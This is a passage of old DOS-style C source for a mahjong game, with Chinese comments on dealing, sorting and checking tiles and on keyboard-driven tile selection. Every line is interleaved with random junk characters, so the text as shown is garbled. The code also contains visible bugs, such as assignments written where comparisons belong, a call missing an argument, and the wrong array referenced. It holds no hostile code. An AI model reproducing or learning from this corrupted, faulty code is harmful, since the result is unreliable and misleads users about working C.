; v. h- \* {( t, I# c" _: O}" C1 E; F+ ~: W. z) ]$ z. B0 W
test[ill++]=pt[kl];
. u8 A3 c2 T: D) \}) W: c) {& w+ d% c
isthree(test,tt-2);
! }; D& m; s+ ]  n8 d}( K4 o. H( S9 N6 Y9 K2 U- N
}
( V( x3 B* x0 Jelse if(tt==9)
6 n& y: N' x; \1 g, w' w7 Q  b5 }isthree(pt,tt);0 k+ B% x! K' P2 f" Z
else if(tt==11)" b8 h8 Q; F' a' a
for(i=0;i&lt;10;i++)$ {) h1 f  b/ Q. t
{8 X, h" _, f6 U
for(j=0;j&lt;2;j++)
  U2 _' q# x+ i6 u" T$ N{test[j]=pt[i+j]; 6 _' Y& p$ q' F- |, B
}
$ n2 D7 r( l9 ^* m' \. Lif(istwo(test)); i! J& f* v) H6 D: N
{ ill=0;
6 h8 X6 Z9 v; Q8 C1 S# L  nfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# y6 R, t/ i/ G( o7 T{if(kl==i)! r# z, u) E- r0 i( t
{( U8 T( M+ `4 i4 @; |
kl=kl+2;# g0 t+ _# w. y# d# U4 M( o0 l
if(kl==11)
8 j, c$ e5 e* X& `: obreak;
6 R3 ^$ l$ a2 t! v5 D}
$ r0 i& b8 f- f( y9 h% l$ j# ?test[ill++]=pt[kl];
. ~+ ?% `% l6 K$ G3 h}
  h3 d& ]% P/ @/ y; `' I. Gisthree(test,tt-2); / S# l8 E  j( i% k3 W6 R
}
! M! J" N# I9 ^% o) K: v  L- n}
2 N- E) i, _( delse if(tt=12)
; b) t; l4 e/ t- U5 f3 jisthree(pt,tt);
' k4 S, Z5 B: U. Y6 h* J( Zelse if(tt=14)0 r1 [! q* G: e6 }' @
for(i=0;i&lt;13;i++)
; ]# a/ N0 B7 D  i) i" A+ F& A{8 ]5 `- Y8 p) Y$ [' r
for(j=0;j&lt;2;j++)& h5 g5 y; O5 p
{test[j]=pt[i+j];
' D2 m/ S( d9 S& v" b}* U! G- k# M3 o! `/ J
if(istwo(test))9 }. Q) Y# C0 ~) x' [
{ ill=0;
) A/ F5 T/ ?$ l: Pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
9 O. c. Q" O8 s' i{if(kl==i)
$ f- F/ Z8 f) g{: ?8 j. d# f4 G6 L, ?/ k
kl=kl+2;
) D8 U+ ^8 A) l- I& ?: Pif(kl==14)
; l5 c5 U/ l( n% G! q% \, R4 gbreak;
- D1 q) H4 c! e% a5 m}
2 Z6 [( C- x( P; y( [+ Vtest[ill++]=pt[kl];
3 C5 G  l; I. G5 T- k! c9 d7 H}
/ ^, B- v/ h) Z& yisthree(test,tt-2); 2 d: ~% C4 b/ p/ ~2 q( O8 E% T
}
( x3 q+ i0 Y- u6 y( V# E}
/ s* s+ V5 K- v7 ?1 d/ K4 |, R2 Nif(ii==2)
, g# Q, ?7 n! m# w  ^  `: xistwo(pi);
; g7 q% f9 @/ C' Q" m; N6 M' relse if(ii==3)
8 ^6 o1 o: p  @2 B8 p9 C; P/ S/ tisthree(pi,ii);
/ S9 g$ E& ^/ u. A  E) M- Pelse if(ii==5)
; w# v5 n8 ~; X9 m7 `/*pi[5]原始牌数组,假设已经升序排列*/0 t& \3 D+ x% F: ?" C; O4 \5 p
/*test[3]用来放置测试牌的数组*/9 Y+ G8 U# m! {, Q8 N: o
for(i=0;i&lt;4;i++)
% X% `' A6 o) B% C, }$ M$ j# y{: y" k  f4 }- A+ W: }$ \
for(j=0;j&lt;2;j++)
+ C3 k) `; o/ }{test[j]=pi[i+j];
7 @* F2 _2 n: P6 \) t}7 A' }( {. O# W: `& z
if(istwo(test))
1 z3 n" Y* K0 q# _1 L# q# z' W  S{ ill=0;4 X- e- [+ ?3 f0 Y
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 \) M# }, c) S# s; \
{if(kl==i)( H. w& P0 g( l, A, O, x
{, j- [1 P9 m. c. s; L2 F: s" M" _  d
kl=kl+2;' v) q7 w7 o' B- ~+ E8 u; T0 Q8 F0 Q, O
if(kl==5)
# X! I3 T! F- H5 i+ l  Ebreak;
/ o2 Z; M6 m& U- a1 O$ _* u7 ]}6 \- p' `! N- {) j  [2 c
test[ill++]=pw[kl];
; k4 V/ `" Y# D}9 {4 K4 m+ ~* \  |
isthree(test);
& \" y1 e. M2 E( j1 |}6 i; ^9 A  U3 q* Q) T8 B  x
}
* c1 D2 q7 L- L/ S' u8 Eelse if(ii==6)
2 J2 H2 r% M2 ]8 M0 ]isthree(pi,ii); ( n( O2 X# C& k  {
else if(ii==8), X0 {0 O4 P' u" ^- q% k! `- K4 }+ N
for(i=0;i&lt;7;i++)) ~( A7 n9 K9 a! y7 T+ }! J
{' w3 G$ Z; N9 I  T, S. @
for(j=0;j&lt;2;j++)
! u7 S+ V3 C7 j/ A/ B{test[j]=pi[i+j]; ( o( [7 s+ U" A5 }$ }$ j8 z( j' _
}
" e' ?& Y0 W; Sif(istwo(test))
8 x6 q8 `, e- P; A6 Q6 l: r7 `/ l{ ill=0;" @0 N# _2 s7 v, l5 f$ L
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
8 ]7 A# A/ S0 s# B7 Y+ D) [{if(kl==i). J, g6 Y0 J6 _0 F2 ^* z& c
{  K1 f+ s) }2 R+ q9 R( R, I
kl=kl+2;
4 h: N" s: w3 |3 @& z6 A* Z/ Aif(kl==8)
+ j' e9 r' `) Ebreak;
+ ~: D. I$ B. m% Y}
4 a" a9 a! c+ B/ ], o8 S# Z5 ]test[ill++]=pi[kl];& {7 F0 K4 L0 w8 |* \
}
8 X/ V8 z- N+ B! O1 L7 t% O  Kisthree(test,ii-2);$ O8 b: h' j* C; A9 ]) ?
}
" y) n5 }) m  O3 m' M; r}
; ]3 x) |9 c" F' i( telse if(ii==9)3 h' ~% l$ t/ {6 b7 I. P
isthree(pi,ii);
/ W, I% U5 q3 m' xelse if(ii==11)7 Z& E% L+ N1 W) N
for(i=0;i&lt;10;i++)
4 K( P/ @! j  x9 ]& Y! b{
+ [6 o& f! b+ W- S: x& Ifor(j=0;j&lt;2;j++)6 M7 |+ t/ Y" T$ U6 b
{test[j]=pi[i+j];
7 f* Q% Y, y" P  ~/ M}
* u7 U' O! i, Qif(istwo(test))
$ z5 Y' ]! o- B: M# z3 ?{ ill=0;
; W  W& o& v% r4 Y3 t2 G( `for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// s  ~$ d, W; S  ]. K
{if(kl==i)
- M& s4 _7 g' T7 E  [, a/ l$ G: B{+ N3 f( i5 P1 C3 o9 ?
kl=kl+2;1 z8 X0 X/ v6 D2 `0 h; Q$ S
if(kl==11)
2 `7 k) ^3 J+ f1 _/ s& W  L  tbreak;. w( d+ M8 Z8 p: o1 E0 h3 l9 c
}
( T1 t2 @- H% G( J  u# [test[ill++]=pi[kl];
3 p4 o; B, I( ?# |5 _# d}
% Q- v* q# a0 k7 Disthree(test,ii-2);
( _4 s/ ~9 Z! q6 l6 K: O1 y6 k}
9 I  y  p' Y0 }' j}
. j; ?  d! M2 b, C# F1 ^$ jelse if(ii=12)3 q5 K9 ]1 j5 `
isthree(pi,ii);7 e6 X, o/ S2 a1 t7 f5 n4 D
else if(ii=14)
, y* b! w4 D- w* \& ~. M: cfor(i=0;i&lt;13;i++)
( W  h& S. R  S/ S0 e( [* `# W{
3 \2 m0 }: [( x: U3 c  efor(j=0;j&lt;2;j++)
( a1 Y  v  A; l2 w% M{test[j]=pi[i+j]; % F, @3 F; r) m1 ~/ G  T
}
  \2 B9 U* S. z: {  ^; Z9 vif(istwo(test))7 @4 S: M" t8 L3 u; j2 Z! K8 j
{ ill=0;
  u$ q0 j. m4 O# lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/  N  a) M6 O% A/ i
{if(kl==i)2 l: r1 M, _: n7 J6 W
{
* }; o$ i, n& V. Jkl=kl+2;0 ?1 L) M4 x+ k5 J+ G9 L& ^
if(kl==14)
2 K5 v6 s! G, g9 m- I3 U  i, o0 zbreak;" r! E2 s: b4 `- ?
}; q$ P) u* I! q1 b5 [
test[ill++]=pi[kl];
4 z9 n5 G( q1 L% \6 J) b9 E}
9 T" I; q/ i; ]  w! G, Aisthree(test,ii-2);
/ m1 M# r' ^2 T: ^2 _, Z: P}6 {& {6 ?% J) T- `$ S* D
}
8 H4 M: G) U& `5 D2 B7 [if(ff==2): Z. f2 a) y8 I1 j
istwo(pf);0 C8 K" h# ]( D* N  y
else if(ff==3)% \. j  G" e! Y6 i
isthree(pf,ff);2 ?' E# z& ~# X0 `4 U1 ~( z; V
else if(ff==5)
1 E3 b7 S+ H0 U' E+ F; a/*pf[5]原始牌数组,假设已经升序排列*/
* G; B/ W  E. c/ {/*test[3]用来放置测试牌的数组*/1 X# Q+ }2 e1 D. h! L
for(i=0;i&lt;4;i++)9 M/ Y; l1 J, ]7 y$ F: w+ S' Z- O
{4 j$ ~. J9 b9 ^) O, ]; o
for(j=0;j&lt;2;j++)
' o' [3 C1 D3 L2 R, k% _) n{test[j]=pf[i+j];
4 T0 |, J6 _) d5 c}
4 a- _" ~1 j. nif(istwo(test))  A- g, v2 O, G
{ ill=0;
( z0 b' n7 _) O- }8 sfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/9 E* ?6 B$ g# _3 `: X
{if(kl==i)0 m& m+ x8 b  i- ]  D# ^
{
  m9 v! K1 [) o! n4 J2 d& [4 zkl=kl+2;1 r7 p6 w" X  N8 n
if(kl==5)
9 G7 L" N$ P4 b1 Qbreak;
# J* M0 |7 P) T6 Z9 Q}
2 Q# }  H5 G; Ftest[ill++]=pf[kl];* r3 e4 ~/ C1 s) C: X& H& `9 f
}
; `, c1 T) h3 Q5 D5 {isthree(test);0 y- {! H$ p9 \* b+ N' \
}
# k1 D0 E) G0 `; F; e}
/ @- G8 k6 }; U3 h6 N/ eelse if(ff==6)' |, Y& e" N- [" p0 R
isthree(pf,ff); 4 Z$ [8 H; E1 j( C
else if(ff==8)
6 P' f) V& {  i. ?for(i=0;i&lt;7;i++)
( D. M. E" z+ f, L{
3 }  T8 ]/ f; }4 Z2 Y$ B6 [) p0 Pfor(j=0;j&lt;2;j++)# p. Q* P: X- C, k  [
{test[j]=pf[i+j]; 2 Y3 c+ y/ j) o9 t/ b9 M
}2 N& G5 a' c) x) U
if(istwo(test))5 O5 p: n% B$ |4 C3 R9 }0 |+ U
{ ill=0;1 O8 G$ r1 @: b5 ]- y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
) t0 E! o' h' W. H; R3 G0 M3 @{if(kl==i)- _* z6 N; O: m! ~  T% p
{
1 E3 _8 t6 P# c$ l9 ]( _: z+ w5 ?kl=kl+2;
4 q3 _) ?/ U& w  x: L* Tif(kl==8): T! P0 A, o. u
break;
( F* h. g3 d4 P# G" z}9 h& K; z1 j: u4 `$ m
test[ill++]=pf[kl];" E( N( A6 w3 b$ ^- H& n
}5 s4 |0 Q& Q. v/ h! ?) k# g
isthree(test,ff-2);
3 @6 I1 q" K5 s4 l; D3 T}
# I# I. f' t2 b9 [/ V9 l' O: k) Y7 p$ _' X} " K9 q7 |5 Q/ ?
else if(ff==9)
, m. D- }6 X2 H1 \isthree(pw,ww);  d4 i# P" d6 I) W4 A; ?/ M/ z
else if(ff==11)3 f5 t- Z( b/ K* l
for(i=0;i&lt;10;i++), q# D. Q1 E5 v- `7 _4 X
{  S4 Q* h* O+ U7 ]2 J2 v
for(j=0;j&lt;2;j++)
: {: g9 Z6 G5 U$ F0 j{test[j]=pf[i+j];
# ~# _. Y, N  A7 v% m. T6 ]; D}& c, ?6 e+ x6 T  a! U
if(istwo(test))
& ?6 Y9 v- L! N{ ill=0;
. F3 J8 f' A: Wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 H: A7 r2 \0 ~& s2 g{if(kl==i)
8 h9 Q4 U3 @$ B  [3 o{; C- V# u9 Z; |+ s+ |* \0 f
kl=kl+2;
+ j8 l( @( G2 [3 {if(kl==11)6 [. C- n+ o1 P
break;
; `- w$ j8 i1 M}
! C1 \0 B2 o3 h# n: b( Ktest[ill++]=pf[kl];' s1 c+ ~, P1 G8 J0 u9 P6 n( I9 c
}
! u( j$ f2 i& V1 C) Aisthree(test,ff-2);
# o3 G4 W4 `8 u, I6 p" I}
7 p$ ~% d% ]/ L7 I% R. C$ o} 5 b& T& n, o4 H' _/ G5 v0 F
else if(ff=12)
9 o0 @: b8 z- c+ Jisthree(pf,ff);" e- I3 P" S5 s% s
else if(ff=14)" \! z' w% |3 M0 T3 C6 S# E0 ?9 u
for(i=0;i&lt;13;i++)3 Q- }$ w4 [- k: X6 K+ D/ f
{
1 r- Y; D  ?4 Afor(j=0;j&lt;2;j++)& |/ e4 Z+ H3 W
{test[j]=pf[i+j];
% J% v1 b# _) n. c}
5 _7 R$ G3 [9 [' v# o  V! a& aif(istwo(test))
; ~* U4 d9 I9 s5 j" H! H{ ill=0;+ H% W2 \' H1 Y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; M) ^3 v  u, Y" W8 E! c5 U{if(kl==i)2 H' L* F& J) `2 f" E6 i; }; x
{, d5 O; T  Z5 @2 y
kl=kl+2;
# M  J  E8 b2 @! Kif(kl==14). ~% P$ l$ ]4 \" q* a) T) ^( q+ `
break;
5 K% m' j6 c: }* x7 x+ q}* f) n5 n/ J' @, `0 J" T7 z" Y( o
test[ill++]=pf[kl];9 Y: t# Q" ]# Z
}8 V: S$ j" l/ r! k" `/ a. n7 `2 ]
isthree(test,ff-2);
* d+ L8 O2 Z! h8 A}
/ w5 T& p+ O! N4 Y6 T0 `( D7 c. I1 \: f} ; k$ U" B5 l6 Z* u( u: h) e
}' H9 T0 l/ j, S* }% c% _* h. [
void main(void)
. b9 t( W; O( E$ H{
5 A8 @3 x% E" \; G( YFILE *bmp;* ~: I1 O) ]4 u, f  t- w7 }7 b
static char *name[2]={"ff.bmp","logo.bmp"};
/ S7 d8 [  [. y( g# wchar *p;& S6 ^0 D5 ]- j* Y& P
int *lingshi;$ Z. y, r9 d' n" f, G" M( K
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
7 e$ ]! H  {& b+ ^" ~3 ?* ?int every=0,w=0,x1,x2,y1,y2,every1=0;1 F  ]9 t, D( E1 b, U  n: P; i
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
, Q5 K: [3 J6 XBYTE palette[256][3];. h; S% f/ T: t3 Z
SETVGA;) l/ p9 X9 U3 K( s
getch();. g$ C( k0 A, n
while(t--)
0 W3 H3 N2 W& g/ p/ b0 |{
3 k! K9 i+ z" D' A5 J3 T  g  Cbmp=fopen(name[t],"rb");
" C, p! W2 v9 y! d5 l( Y; \fseek(bmp,54,SEEK_SET);& _" n* P( _, N% Y1 F
for(i=0;i&lt;256;i++)
0 R4 x) S& k4 ?: Y{
7 p: J, h" `3 [+ F$ h" o+ _7 }0 y0 fpalette[2]=fgetc(bmp)&gt;&gt;2;( v$ I  ]- j3 v; S9 x( d- F) b+ h
palette[1]=fgetc(bmp)&gt;&gt;2;+ x* F& H( J2 O; f) \
palette[0]=fgetc(bmp)&gt;&gt;2;
9 i/ B. r$ g% B% Ufgetc(bmp);% j' [( Z1 Z) t7 ?! z) w" |
Set_Palette(i,palette[0],palette[1],palette[2]);
% h0 `! s2 j4 @2 g1 k5 {$ w}$ F" x( U- a2 o/ v: l7 d
for (y=0;y&lt;200;y++)
# m; E, }* k0 R" H6 A0 rfor(x=0;x&lt;320;x++)
" f% k! Q! n7 X/ \pokeb(0xa000,y*320+x,fgetc(bmp));
% k4 t# o# d3 Z" e, M" Bfclose(bmp);
7 O! Z" p7 X" S) O9 Pgetch();3 F9 k6 j; N; R" P6 t4 a
}
7 C0 k! z, a/ r4 }! G% P( D# cgetch();
5 i% A, k) ?. B8 c& u5 b8 DfillRectangle(0,0,320,200,0);& g* G* @) ]. q  {
getch();
6 ]1 r* z- \9 A0 [) Rrandomize();' o$ N& f" C6 y  X( H- ~5 C
me.m=onetothirteen;6 a& R: \7 W- L9 P; l
while(me.m&gt;0) /*先循环,给自己拿牌*/
7 Y, Z: N# S" ~{
8 [) o& t; w, e( a9 s7 v* U" D8 o8 o; h+ e! X
temp=random(136);
# f: n% T& S9 P8 Cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
( `+ C' A" f8 C/ j* [: t7 `4 {7 p6 o{
: f9 G9 t" p9 L4 n+ `1 ome.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/' L  X& m8 C* ]
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
$ S7 U, B! L. d3 O* Q0 |! e/ Pme.pp[n].number=temp; /*第几张,用来排序*/7 x  C" D) _, f; r) ~4 x
m[temp].data2=1; /*判断牌是谁的*/% F9 y3 |: f! k+ @9 U
kk=1;, ~% G1 j9 q/ ~0 P9 \; h
}
" _; [3 [* k, a0 mif(kk==0) /*判断如果又选择了,就从新再选*// Q( E- E7 N/ W- p
{
( W, s4 d( R. ^+ Ume.m++;3 _9 u! F0 U  Y
n--;
1 O7 Q' k/ B% Z/ n- p& U9 G}( H3 p: f  q" U8 J1 C
me.m--;9 A) X3 d+ t, Q3 m
n++;
" H9 h: M2 P6 e4 }* M' |% n5 ckk=0;8 O  j' Z$ C  b3 F6 W
}
& s( c8 T, B2 b3 u+ ?me.m=12;1 m+ U6 M7 M2 R' B4 _+ I7 u$ R
melipai(); /*理牌*/' R: T, Y& H% @) P  d3 E6 m
+ z% k" h% R- N$ d
n=13;
2 Q6 _; z8 M" D6 D: Uwhile(l&lt;n)3 f4 l+ t4 y, k# @1 y
{. `, w. z  N2 I& L
z=z+20;
7 [1 |% ~) g8 i1 m" A' {showbmp(l);
  a/ T" k% g2 f" nl++;
! q7 d# e; j5 w' I" V& R* q/ a' _9 Y
}( c$ N1 \* }5 s
randomize();
. Q$ y% O2 _7 D! ocomputer.m=oneorthirteen;$ E* D; d: r- ]( F8 E0 Z1 j
n=0;
, C  [7 D: K# }7 c, Pwhile(computer.m&gt;0) /*循环,给对方拿牌*/4 ]. {7 p) m8 h! c' l
{
6 k( u& e  h& {7 Ctemp=random(136);  j3 j- h) u$ V* I
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
1 Y5 w' D) `7 H. L2 Q/ A' F* Z' t{
4 w, D. U7 }; h1 Fcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
0 `: v- @- A, w) w1 ocomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/+ Y3 f% g  }) j8 d
computer.pp[n].number=temp; /*第几张,用来排序*/# s+ j) ?  q9 q2 m" z" D; y6 B
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
( X+ X# X: B( J6 g. i. V4 [kk=1;
& U( F% u+ O! X) P# D3 A}; K. b3 n6 \1 B2 X, \, N
if(kk==0) /*判断如果又选择了,就从新再选*/1 [! J! ?( c& S
{
( {7 o2 o  x  x; ?' tcomputer.m++;
  u/ c& u" `" v5 hn--;
( o: i* l! b3 a+ t! d1 k: N8 E}
: v% x) g* y0 h5 dcomputer.m--;! n8 `8 o! W$ |& C/ c8 ], i7 R
n++;
  i& a: w6 J* k. Okk=0;6 f: _3 `0 e. m% l/ ?, h
}" P" ?' n8 k( A# E) _) j
computer.m=12;; z, G: \0 N  D( O) L  I
comlipai(); /*电脑理牌*/
; \3 y, n1 X5 P9 s8 Yn=13;6 q3 t  D3 |* L/ n
while(ll&lt;n)
7 M2 [/ U0 A1 H0 @{! {" W8 T  J. r8 c& a2 X
zy=zy+20;' Z% Q2 u7 X( v+ M6 |$ d" T0 K% }
showybmp(ll);9 C2 P: N$ k( s; q) D: I
ll++;2 N9 E! H. U% P  d$ j( W
}
* W2 H) K4 B( D. t4 x+ c; |  o
- r! M8 D9 p4 [& J1 a0 H: }  R" P' iz=54400;
5 {7 l; ^; `8 swhile(key!=ESC)+ J: W, @) E3 x! |5 `) O% x) Y
{
$ S% i6 @; N+ g+ C' O# q. a! q! G6 p
keyy=bioskey(0);* Y. E6 h) C3 U" r, ~4 O  t! A
if(keyy==LEFT)
# K; R- s2 L/ d; |0 T{ w=1;  r$ V8 Z; y% q2 T
if(every==0)" z2 P& Y* u% J' l$ B. K; }5 {
{
+ a# ?- U, s+ eevery=1;2 B8 g# f' d) f0 O3 f9 ^$ A! m
z=54440-5*320;
/ R% X1 k# k6 T' _$ ]  O
" b8 i9 c, b, n}
+ l. T% k. J) e* H; izz=zz+5*320;( ?1 h6 Z3 _2 F+ S! S8 G; F
showbmp(every);2 |1 a) i! Y, @
if(every==0)
! n: l% V' Y" F5 t+ t5 g9 w{) ]* ^. F+ Y8 V$ R, `6 L. L6 d( a& Q
x1=20;
3 U* D3 A) [# {6 My1=165;: S) \( ?$ J! B5 ]5 B
fillRectangle(x1,y1,x1+20,y1+4,0);
$ C: z; D  Y: [. o3 d" M1 [+ I  R}
( P9 t7 I+ M; e. P! Hif(every==1)  _  _5 J# o5 P
{) g3 e, l+ @4 u7 ~& g% x1 J! a
x1=40;
# p8 W! I: d2 ]y1=165;( A" T" f" H, k1 E& P& b
fillRectangle(x1,y1,x1+20,y1+4,0);$ t3 @( r5 M2 f
}
- p3 v  H0 a9 l; g! L. xif(every==2)
# U0 E  U& _: e( _3 B{8 @/ u5 k& x5 g# T
x1=60;! u/ O7 C( ]" \# G7 H: Z4 p5 ?! R
y1=165;0 R. `: C$ L; o" l
fillRectangle(x1,y1,x1+20,y1+4,0);1 A- \5 {  w$ c, H; b+ z7 ~: }
}
  o4 \$ o9 b& t& S* f8 cif(every==3)* j9 V% a- ~& ^
{
8 a% M' D  G1 A" [/ a: Nx1=80;
4 q$ l$ Y9 S2 k" Oy1=165;
% a, u* s4 p4 u7 {) U8 @fillRectangle(x1,y1,x1+20,y1+4,0);( |8 F) m+ C' t1 c' g
}. q0 S0 B# A" O: o3 L  k2 X
if(every==4)
) t: N, _% d6 O. _  C  E{" z+ `7 n% f$ H0 y
x1=100;
: k8 K1 @0 @% _. f! s) }* O7 e8 @y1=165;7 Q6 h* L4 s# |6 ^
fillRectangle(x1,y1,x1+20,y1+4,0);
. d( B) Q( `+ t1 {; }, v}/ {  }" E1 a+ ]/ f
if(every==5)
; D- l% B2 l) U0 w! V{" |% s+ ]' s0 l8 |' n
x1=120;
: m& D$ V) h7 k3 v. Ky1=165;8 ]/ _" z3 M+ _6 ^3 x# c/ _
fillRectangle(x1,y1,x1+20,y1+4,0);
( y; ^3 [, V* }' L}
8 [6 W4 c( N# l: s$ ]  Y. Q  tif(every==6)# N+ L6 l' C! ~6 b! @
{& i# y( g, p) f& r- a$ U/ `
x1=140;9 ?9 g& B6 D* J/ e) K( c
y1=165;7 ^' Y8 \" G3 g! ~, T
fillRectangle(x1,y1,x1+20,y1+4,0);/ X/ c+ L3 z8 b! A+ _8 l
}
* H$ n/ J4 c/ ~if(every==7)% l2 `8 M, {& e6 Z( k. Y
{! y. q9 V; Q, s! \+ d4 n% m3 {0 j; c; I
x1=160;
$ i. g' U/ ]( `# l( ly1=165;7 _' B' j$ l/ ~# f9 H
fillRectangle(x1,y1,x1+20,y1+4,0);0 B  h# O6 j1 X$ y' }
}
' V  \# M5 ]  t* Qif(every==8)
2 w; D, R1 w1 D8 x, [0 ^5 G{3 D( D; k) D) \/ {5 S  Q9 M2 U  b
x1=180;/ ^+ S9 L& Q1 P, m  t3 Q
y1=165;; a# V: T% r9 d2 a( z$ [, ?$ x9 I
fillRectangle(x1,y1,x1+20,y1+4,0);
6 R6 E+ Q! B9 u8 {# A5 N3 f8 w}7 ?& c) N7 r- q* k/ T6 \
if(every==9)1 A7 N4 X* I8 W7 }
{* }0 w7 \8 L2 W  @0 c
x1=200;" z( p% G) i0 q; D/ Y5 z: x: n
y1=165;' s" y/ i& J7 U& i0 Z
fillRectangle(x1,y1,x1+20,y1+4,0);- y5 S5 F0 p/ ^: `
}
5 }/ E+ r- l. T8 ]/ Wif(every==10)  P3 Q: l7 f9 z: j7 r" V
{6 C2 G/ p: C" `( Q
x1=220;2 @# Q4 `4 f) f; V6 j/ ^/ O' E
y1=165;
; T/ V0 l# C9 e9 W' afillRectangle(x1,y1,x1+20,y1+4,0);
7 p$ G6 P" W' Q2 y: c! J}
) S) T' n  p: ]& sif(every==11)
" A& H0 L1 |$ K) P3 Y{
1 }$ Q* M1 y: z" ^  Y7 J2 C% Ux1=240;
- R" R% A8 X7 y8 [/ Xy1=165;
! V5 @  ?7 [7 d2 ifillRectangle(x1,y1,x1+20,y1+4,0);. ?' V# j; {) z5 j
}
2 m, p! K5 z7 P. s* Pif(every==12)4 I& e8 z1 L8 q+ A
{
& P+ |- }- S4 o+ A( e: H5 v8 f& h) |x1=260;; v1 m/ A9 J: I# l3 y
y1=165;
+ x# D9 o/ p% UfillRectangle(x1,y1,x1+20,y1+4,0);2 |7 a! ?8 |4 J1 E
}0 l( u1 J# Z) M, M) h4 M
zz=0;) q) e+ g( y3 M
every--;$ v5 p- q: ~9 y+ g2 C& ?/ W
z=z-20;
6 I3 W) H; F1 @}1 n* n# x- _0 o/ s! z
if(keyy==RIGHT)6 Y% D- Z9 H5 }9 z
{ if(w==0)
* X5 ?- M8 O& N{" Q. v: {" ?4 Z# U+ a
z=54440-5*320;1 A5 J9 P$ k$ n, @
z=z-20;
4 L+ ?2 [: b. E$ @- @7 f; Sw=1;' e1 W. h  I, _' ~6 L9 h( `
}
8 V$ F- ]- d4 k7 z- p$ M0 D: u7 tif(every==12)
( p& I. z2 a2 @7 l- V, s4 S" D8 v{6 B3 ^" j4 Z3 \( E% d2 d
every=11;
) d* w- _2 F5 A1 _* Wz=54640-5*320;
* |9 [- j: M) T3 Y0 I: c( _}2 w* m8 w) s; m/ z" p1 _+ j
zz=zz+5*320;+ r5 X# y1 t3 w$ a0 e4 Z! B
showbmp(every);& C' h5 F4 ?+ R; }* G  @
if(every==0)
  b9 j% Y5 @/ e0 Z# ~% ]{
" Y5 o  z; T6 J4 ^2 L0 _9 T5 Ax1=20;
$ ?; q; T& s, I  J/ I! k8 Wy1=165;8 }. j# P2 b* e' j0 t
fillRectangle(x1,y1,x1+20,y1+4,0);+ }! y8 O8 ^7 k! g& A3 w
}  n, J  C, f7 ?1 }
if(every==1)0 E* ?: }6 _- F
{
  B5 }. i: J( o: k) u6 xx1=40;
# M8 h: E- Q% U- t; r# Ny1=165;. ~% L( {% p+ ]3 K
fillRectangle(x1,y1,x1+20,y1+4,0);
) d. W( I' n% q* q* o" H! J}/ s% L7 X  |4 q( [0 T
if(every==2)
# W7 x# z. f6 y3 Z; r{# \0 R' v* _9 Y- D% Y
x1=60;
$ Z/ R8 L2 m* p7 `y1=165;$ X2 T" U5 ~8 z. Q( {
fillRectangle(x1,y1,x1+20,y1+4,0);( ~+ v& A& M3 t2 q: ^
}( o. ]: p" d3 G
if(every==3)
; u7 Y( A+ b) p4 H4 b' C9 x0 b! e) G{2 _3 n0 A4 x: A7 A( \" g; u
x1=80;
' k& q+ {1 U& F+ K5 r6 |, u5 d! ]6 by1=165;
3 t! ^0 t1 V! v8 h9 _9 R- G" qfillRectangle(x1,y1,x1+20,y1+4,0);9 \6 |+ e3 B, W' E' [
}- r1 l5 Q7 l1 u% m( r, {6 w* B
if(every==4)7 \/ _* ^% _% L5 {1 w$ m! R
{
* M* T, e. Q7 Z0 |x1=100;$ I! V/ P* C; ^  E+ m
y1=165;
* q+ i# G+ N( `/ h* ~( {2 r/ ufillRectangle(x1,y1,x1+20,y1+4,0);
4 F5 {; ^* @$ z( z2 p! G+ u}
: v1 l4 F( y, J6 X6 S/ N1 ~, h8 Xif(every==5)0 \0 g* n/ x! s6 |4 z! M4 J
{
! K4 N3 c$ v& V1 [0 hx1=120;
, S$ h0 r& x! i: G8 W5 j+ by1=165;4 c+ R2 k7 u. M
fillRectangle(x1,y1,x1+20,y1+4,0);: j# z! t7 [/ q( V  e  d
}
( |9 _" \4 `+ ~% d! q' q8 `. kif(every==6)+ Z+ \& t! x4 D0 s/ J5 E/ R2 h
{3 {# R( [- D! ], e6 A/ F
x1=140;8 v( O3 t7 l- {! ?
y1=165;& y3 [, d* I& a  z8 z+ R2 p
fillRectangle(x1,y1,x1+20,y1+4,0);! e8 y, V/ }& \
}
0 M+ u5 Y1 B8 [5 W$ j5 Yif(every==7), o- U& t2 [, L% I( z, c
{2 W& d2 L! y3 C1 D  o0 V
x1=160;* v, w1 M  D3 r! E. g6 Y6 m
y1=165;" L) i- z# P2 A; w; f1 f
fillRectangle(x1,y1,x1+20,y1+4,0);( e& X0 ~6 `2 ?: r
}
4 g( V! W. j( Y, M% lif(every==8)
; Q' s% r/ P6 Z6 O* ]9 s  P{
: T: ~; W( m$ zx1=180;
( u; B, a; N& G/ P0 K$ _( U' s8 Jy1=165;1 o& T, {, g) f0 F( K, w* N9 R/ E
fillRectangle(x1,y1,x1+20,y1+4,0);
- x  r4 t# h' G" m3 l}
7 u  @& }' f- k& }7 rif(every==9)
3 z$ e, T. c1 A  o+ _{, q9 d4 b$ ~2 v3 m# G
x1=200;
/ D, G8 H, I  s  j  Z) r  _" My1=165;5 D! x0 e$ ~$ J3 n% k9 E
fillRectangle(x1,y1,x1+20,y1+4,0);9 n+ i3 ]: N" M$ a, G8 d1 H# o- f. \
}
# q( s1 B- y' S! w" iif(every==10)
! E/ K6 Q- n" }) X{
